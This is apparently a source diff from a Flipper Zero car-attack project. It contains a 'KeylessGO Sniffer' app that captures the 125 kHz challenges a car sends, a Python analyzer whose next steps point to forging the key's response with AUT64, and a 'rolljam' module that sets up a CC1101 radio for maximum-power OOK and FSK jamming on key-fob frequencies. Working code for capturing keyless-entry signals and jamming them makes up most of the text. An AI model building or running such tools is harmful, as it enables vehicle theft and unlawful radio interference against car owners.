preview = ''.join(str(b) for b in chunk[:16])
print(f" offset {offset:3d}: 0x{val:08X} [{preview}...]")
# -- Full analysis entry point ------------------------------------------------
def analyze_capture(path: str, verbose: bool = False, protocol_hint: str = None):
print(f"\n{'='*60}")
print(f"LF Capture Analyzer -- {Path(path).name}")
print('='*60)
edges, meta = load_csv(path)
if not edges:
print("ERROR: No data found in file.")
return
# Step 1: detect carrier
carrier = analyze_carrier(edges, verbose)
# Step 2: segment packets
packets = find_packets(edges)
if not packets:
print("\n[!] No packets detected. Check:")
print(" - Car is emitting 125 kHz LF field")
print(" - Coil is connected correctly to PB2")
print(" - LM393 is powered from 3.3V")
return
# Step 3: analyze each packet
for i, pkt in enumerate(packets):
print(f"\n{''*50}")
print(f"PACKET {i} -- {len(pkt)} edges")
print(''*50)
bit_info = detect_bit_period(pkt, carrier, verbose)
bit_period = bit_info.get('bit_period_us', 0)
baud_rate = bit_info.get('baud_rate', 0)
if bit_period == 0:
print(" [!] Could not determine bit period")
continue
# Step 4: Manchester decode
bits = decode_manchester(pkt, bit_period, verbose)
if len(bits) < 8:
print(f" [!] Only {len(bits)} bits decoded -- likely noise or raw carrier")
if verbose:
raw = [e['dur_us'] for e in pkt[:40]]
print(f" RAW first durations: {raw}")
continue
print_bits(bits, f"Manchester decoded ({len(bits)} bits)")
# Step 5: identify protocol
identify_protocol(bits, baud_rate, carrier.get('carrier_hz', 0))
# Step 6: apply explicit decoder if requested
if protocol_hint == 'hitag2':
decode_hitag2_explicit(bits)
print(f"\n{'='*60}")
print("SUMMARY")
print('='*60)
print(f" Carrier : {carrier.get('carrier_hz', 0):,} Hz")
print(f" Packets : {len(packets)}")
print(f" Total edges: {len(edges)}")
print()
print("NEXT STEPS:")
print(" 1. If you see 'Keyless challenge candidate' -> use the 0xXXXXXXXX value")
print(" with your AUT64 implementation to compute the expected response.")
print(" 2. If Hitag2 is detected -> the protocol is HMAC-SHA1 / AUT64 depending")
print(" on the generation.")
print(" 3. If carrier is 125 kHz but no packets appear -> car is not emitting")
print(" a challenge (get closer, < 30 cm).")
def decode_hitag2_explicit(bits: list):
"""Explicit Hitag2 frame decode when --protocol hitag2 is specified."""
print("\n[*] Hitag2 frame decode:")
if len(bits) < 5:
return
print(f" Start of frame : {bits[0]}")
if len(bits) > 5:
cmd = 0
for b in bits[1:5]:
cmd = (cmd << 1) | b
cmds = {
0b0001: 'REQUEST',
0b0011: 'SELECT',
0b0101: 'READ',
0b1001: 'WRITE'
}
print(f" Command : 0b{cmd:04b} = {cmds.get(cmd, 'UNKNOWN')}")
if len(bits) >= 37:
uid_bits = bits[5:37]
uid_val = 0
for b in uid_bits:
uid_val = (uid_val << 1) | b
print(f" UID candidate : 0x{uid_val:08X}")
# -- CLI ----------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description='Analyze LF captures from the Flipper Zero LF Sniffer FAP',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 lf_analyze.py capture_0000.csv
python3 lf_analyze.py capture_0000.csv --verbose
python3 lf_analyze.py capture_0000.csv --protocol hitag2
"""
)
parser.add_argument('capture', help='CSV file from LF Sniffer FAP')
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('--protocol',
choices=['hitag2', 'em4100', 'Keyless', 'auto'],
default='auto',
help='Force a specific protocol decoder (default: auto)')
args = parser.parse_args()
if not Path(args.capture).exists():
print(f"ERROR: {args.capture} not found")
sys.exit(1)
analyze_capture(
args.capture,
verbose=args.verbose,
protocol_hint=args.protocol if args.protocol != 'auto' else None
)
if __name__ == '__main__':
main()

View File

@@ -1,446 +0,0 @@
#include "lf_sniffer.h"
#include <furi.h>
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <gui/gui.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define TAG "LFSniffer"
#define DWT_CYCCNT (*(volatile uint32_t*)0xE0001004)
#define DWT_CTRL (*(volatile uint32_t*)0xE0001000)
#define DEMCR (*(volatile uint32_t*)0xE000EDFC)
static inline void dwt_init(void) {
DEMCR |= (1U << 24);
DWT_CYCCNT = 0;
DWT_CTRL |= 1U;
}
static inline uint32_t dwt_us(void) {
return DWT_CYCCNT / 64;
}
static volatile LFEdge* g_edges = NULL;
static volatile uint32_t g_edge_count = 0;
static volatile uint32_t g_last_time = 0;
static volatile bool g_active = false;
static volatile bool g_overflow = false;
static void lf_gpio_isr(void* ctx) {
UNUSED(ctx);
if(!g_active) return;
uint32_t now = dwt_us();
uint32_t delta = now - g_last_time;
g_last_time = now;
if(g_edge_count >= LF_MAX_EDGES) {
g_overflow = true;
g_active = false;
return;
}
bool current_level = furi_hal_gpio_read(LF_INPUT_PIN);
g_edges[g_edge_count].duration_us = delta;
g_edges[g_edge_count].level = !current_level;
g_edge_count++;
}
static void draw_callback(Canvas* canvas, void* ctx) {
LFSnifferApp* app = ctx;
furi_mutex_acquire(app->mutex, FuriWaitForever);
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2, 12, "KeylessGO Sniffer");
canvas_set_font(canvas, FontSecondary);
switch(app->state) {
case LFStateIdle:
canvas_draw_str(canvas, 2, 26, "Pin: PB2 (header pin 6)");
canvas_draw_str(canvas, 2, 36, "OK = Start capture");
canvas_draw_str(canvas, 2, 46, "Approach car without key");
canvas_draw_str(canvas, 2, 58, "Back = Exit");
break;
case LFStateCapturing: {
char buf[32];
canvas_draw_str(canvas, 2, 26, "CAPTURING...");
snprintf(buf, sizeof(buf), "Edges: %lu", (unsigned long)app->edge_count);
canvas_draw_str(canvas, 2, 36, buf);
snprintf(buf, sizeof(buf), "Packets: %lu", (unsigned long)app->packet_count);
canvas_draw_str(canvas, 2, 46, buf);
canvas_draw_str(canvas, 2, 58, "OK/Back = Stop");
break;
}
case LFStateDone: {
char buf[48];
snprintf(buf, sizeof(buf), "Edges:%lu Pkts:%lu",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
canvas_draw_str(canvas, 2, 26, buf);
snprintf(buf, sizeof(buf), "Min:%luus Max:%luus",
(unsigned long)app->min_pulse_us,
(unsigned long)app->max_pulse_us);
canvas_draw_str(canvas, 2, 36, buf);
canvas_draw_str(canvas, 2, 46, "OK = Save to SD");
canvas_draw_str(canvas, 2, 58, "Back = Discard");
break;
}
case LFStateSaving:
canvas_draw_str(canvas, 2, 26, "Saving...");
canvas_draw_str(canvas, 2, 36, app->filename);
break;
case LFStateSaved:
canvas_draw_str(canvas, 2, 26, "Saved OK:");
canvas_draw_str(canvas, 2, 36, app->filename);
canvas_draw_str(canvas, 2, 46, app->status_msg);
canvas_draw_str(canvas, 2, 58, "Back = New capture");
break;
case LFStateError:
canvas_draw_str(canvas, 2, 26, "ERROR:");
canvas_draw_str(canvas, 2, 36, app->status_msg);
canvas_draw_str(canvas, 2, 58, "Back = Retry");
break;
}
furi_mutex_release(app->mutex);
}
static void input_callback(InputEvent* event, void* ctx) {
LFSnifferApp* app = ctx;
furi_message_queue_put(app->queue, event, FuriWaitForever);
}
static void lf_analyze_packets(LFSnifferApp* app) {
app->packet_count = 0;
app->min_pulse_us = 0xFFFFFFFF;
app->max_pulse_us = 0;
app->carrier_pulses = 0;
app->data_pulses = 0;
if(app->edge_count < 4) return;
uint32_t pkt_start = 0;
bool in_packet = false;
for(uint32_t i = 1; i < app->edge_count; i++) {
uint32_t dur = app->edges[i].duration_us;
if(dur < app->min_pulse_us) app->min_pulse_us = dur;
if(dur > app->max_pulse_us) app->max_pulse_us = dur;
if(dur < 12) {
app->carrier_pulses++;
} else if(dur < 15) {
app->data_pulses++;
}
if(dur > LF_GAP_THRESHOLD_US) {
if(in_packet && i > pkt_start + 8) {
if(app->packet_count < LF_MAX_PACKETS) {
app->packets[app->packet_count].start_idx = pkt_start;
app->packets[app->packet_count].edge_count = i - pkt_start;
app->packets[app->packet_count].duration_us = 0;
for(uint32_t j = pkt_start; j < i; j++)
app->packets[app->packet_count].duration_us +=
app->edges[j].duration_us;
app->packet_count++;
}
}
in_packet = false;
pkt_start = i;
} else {
if(!in_packet) {
in_packet = true;
pkt_start = i;
}
}
}
if(in_packet && app->edge_count > pkt_start + 8) {
if(app->packet_count < LF_MAX_PACKETS) {
app->packets[app->packet_count].start_idx = pkt_start;
app->packets[app->packet_count].edge_count = app->edge_count - pkt_start;
app->packets[app->packet_count].duration_us = 0;
for(uint32_t j = pkt_start; j < app->edge_count; j++)
app->packets[app->packet_count].duration_us +=
app->edges[j].duration_us;
app->packet_count++;
}
}
}
static bool lf_save_csv(LFSnifferApp* app) {
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_common_mkdir(storage, "/ext/keyless_sniffer");
snprintf(app->filename, sizeof(app->filename),
"/ext/keyless_sniffer/capture_%04lu.csv",
(unsigned long)app->file_index);
File* file = storage_file_alloc(storage);
bool ok = false;
if(storage_file_open(file, app->filename, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
const char* header = "index,duration_us,level,note\n";
storage_file_write(file, header, strlen(header));
char meta[128];
snprintf(meta, sizeof(meta),
"# Keyless Sniffer capture -- edges:%lu packets:%lu\n",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
storage_file_write(file, meta, strlen(meta));
snprintf(meta, sizeof(meta),
"# min_us:%lu max_us:%lu carrier:%lu data:%lu\n",
(unsigned long)app->min_pulse_us,
(unsigned long)app->max_pulse_us,
(unsigned long)app->carrier_pulses,
(unsigned long)app->data_pulses);
storage_file_write(file, meta, strlen(meta));
uint32_t pkt_idx = 0;
char line[64];
for(uint32_t i = 0; i < app->edge_count; i++) {
const char* note = "";
if(pkt_idx < app->packet_count &&
app->packets[pkt_idx].start_idx == i) {
note = "PKT_START";
pkt_idx++;
}
snprintf(line, sizeof(line),
"%lu,%lu,%d,%s\n",
(unsigned long)i,
(unsigned long)app->edges[i].duration_us,
app->edges[i].level ? 1 : 0,
note);
storage_file_write(file, line, strlen(line));
}
storage_file_write(file, "# PACKETS\n", 10);
for(uint32_t p = 0; p < app->packet_count; p++) {
snprintf(meta, sizeof(meta),
"# PKT %lu: start=%lu edges=%lu dur=%luus\n",
(unsigned long)p,
(unsigned long)app->packets[p].start_idx,
(unsigned long)app->packets[p].edge_count,
(unsigned long)app->packets[p].duration_us);
storage_file_write(file, meta, strlen(meta));
}
storage_file_close(file);
ok = true;
snprintf(app->status_msg, sizeof(app->status_msg),
"%lu edges, %lu packets",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
} else {
snprintf(app->status_msg, sizeof(app->status_msg), "Failed to open file");
}
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
return ok;
}
static void lf_start_capture(LFSnifferApp* app) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = 0;
app->packet_count = 0;
app->total_time_us = 0;
app->min_pulse_us = 0xFFFFFFFF;
app->max_pulse_us = 0;
app->carrier_pulses = 0;
app->data_pulses = 0;
g_overflow = false;
g_edges = app->edges;
g_edge_count = 0;
g_last_time = dwt_us();
g_active = true;
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInterruptRiseFall,
GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_add_int_callback(LF_INPUT_PIN, lf_gpio_isr, NULL);
app->state = LFStateCapturing;
furi_mutex_release(app->mutex);
notification_message(app->notif, &sequence_blink_green_100);
FURI_LOG_I(TAG, "Capture started");
}
static void lf_stop_capture(LFSnifferApp* app) {
g_active = false;
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInput, GpioPullUp, GpioSpeedLow);
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = g_edge_count;
lf_analyze_packets(app);
app->state = LFStateDone;
furi_mutex_release(app->mutex);
notification_message(app->notif, &sequence_blink_blue_100);
FURI_LOG_I(TAG, "Capture stopped: %lu edges, %lu packets",
(unsigned long)app->edge_count,
(unsigned long)app->packet_count);
}
int32_t lf_sniffer_app(void* p) {
UNUSED(p);
dwt_init();
LFSnifferApp* app = malloc(sizeof(LFSnifferApp));
furi_check(app != NULL);
memset(app, 0, sizeof(LFSnifferApp));
app->edges = malloc(LF_MAX_EDGES * sizeof(LFEdge));
furi_check(app->edges != NULL);
app->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
app->queue = furi_message_queue_alloc(16, sizeof(InputEvent));
app->notif = furi_record_open(RECORD_NOTIFICATION);
app->view_port = view_port_alloc();
app->state = LFStateIdle;
app->file_index = 0;
view_port_draw_callback_set(app->view_port, draw_callback, app);
view_port_input_callback_set(app->view_port, input_callback, app);
app->gui = furi_record_open(RECORD_GUI);
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
FURI_LOG_I(TAG, "Keyless Sniffer started");
InputEvent event;
bool running = true;
while(running) {
if(app->state == LFStateCapturing) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->edge_count = g_edge_count;
if(g_overflow) {
furi_mutex_release(app->mutex);
lf_stop_capture(app);
furi_mutex_acquire(app->mutex, FuriWaitForever);
snprintf(app->status_msg, sizeof(app->status_msg),
"Buffer full (%d edges)", LF_MAX_EDGES);
}
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
FuriStatus status = furi_message_queue_get(app->queue, &event, 100);
if(status != FuriStatusOk) continue;
if(event.type != InputTypeShort && event.type != InputTypeLong) continue;
switch(app->state) {
case LFStateIdle:
if(event.key == InputKeyOk) {
lf_start_capture(app);
view_port_update(app->view_port);
} else if(event.key == InputKeyBack) {
running = false;
}
break;
case LFStateCapturing:
if(event.key == InputKeyOk || event.key == InputKeyBack) {
lf_stop_capture(app);
view_port_update(app->view_port);
}
break;
case LFStateDone:
if(event.key == InputKeyOk) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateSaving;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
bool saved = lf_save_csv(app);
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = saved ? LFStateSaved : LFStateError;
app->file_index++;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
if(saved) {
notification_message(app->notif, &sequence_success);
FURI_LOG_I(TAG, "Saved: %s", app->filename);
}
} else if(event.key == InputKeyBack) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateIdle;
app->edge_count = 0;
app->packet_count = 0;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
break;
case LFStateSaved:
case LFStateError:
if(event.key == InputKeyBack) {
furi_mutex_acquire(app->mutex, FuriWaitForever);
app->state = LFStateIdle;
app->edge_count = 0;
app->packet_count = 0;
furi_mutex_release(app->mutex);
view_port_update(app->view_port);
}
break;
default:
break;
}
}
if(app->state == LFStateCapturing) {
g_active = false;
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
view_port_enabled_set(app->view_port, false);
gui_remove_view_port(app->gui, app->view_port);
view_port_free(app->view_port);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_mutex_free(app->mutex);
furi_message_queue_free(app->queue);
free(app->edges);
free(app);
return 0;
}

View File

@@ -1,80 +0,0 @@
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_port.h>
#include <notification/notification.h>
#include <input/input.h>
#include <storage/storage.h>
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
#define LF_MAX_EDGES 4096
#define LF_GAP_THRESHOLD_US 5000
#define LF_CARRIER_HZ 125000
#define LF_BIT_PERIOD_US 250
#define LF_TIMEOUT_MS 10000
#define LF_MAX_PACKETS 16
#define LF_INPUT_PIN (&gpio_ext_pb2)
typedef struct {
uint32_t duration_us;
bool level;
} LFEdge;
typedef struct {
uint32_t start_idx;
uint32_t edge_count;
uint32_t duration_us;
} LFPacket;
typedef enum {
LFStateIdle,
LFStateCapturing,
LFStateDone,
LFStateSaving,
LFStateSaved,
LFStateError,
} LFState;
typedef struct {
Gui* gui;
ViewPort* view_port;
FuriMessageQueue* queue;
FuriMutex* mutex;
NotificationApp* notif;
LFState state;
char status_msg[64];
LFEdge* edges;
uint32_t edge_count;
uint32_t total_time_us;
LFPacket packets[LF_MAX_PACKETS];
uint32_t packet_count;
uint32_t last_edge_time_us;
bool capturing;
uint32_t carrier_pulses;
uint32_t data_pulses;
uint32_t min_pulse_us;
uint32_t max_pulse_us;
char filename[128];
uint32_t file_index;
} LFSnifferApp;
int32_t lf_sniffer_app(void* p);
#ifdef __cplusplus
}
#endif

View File

@@ -5,11 +5,10 @@
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
@@ -210,13 +205,8 @@ static bool cc_check(void) {
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
@@ -229,98 +219,14 @@ static void cc_idle(void) {
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
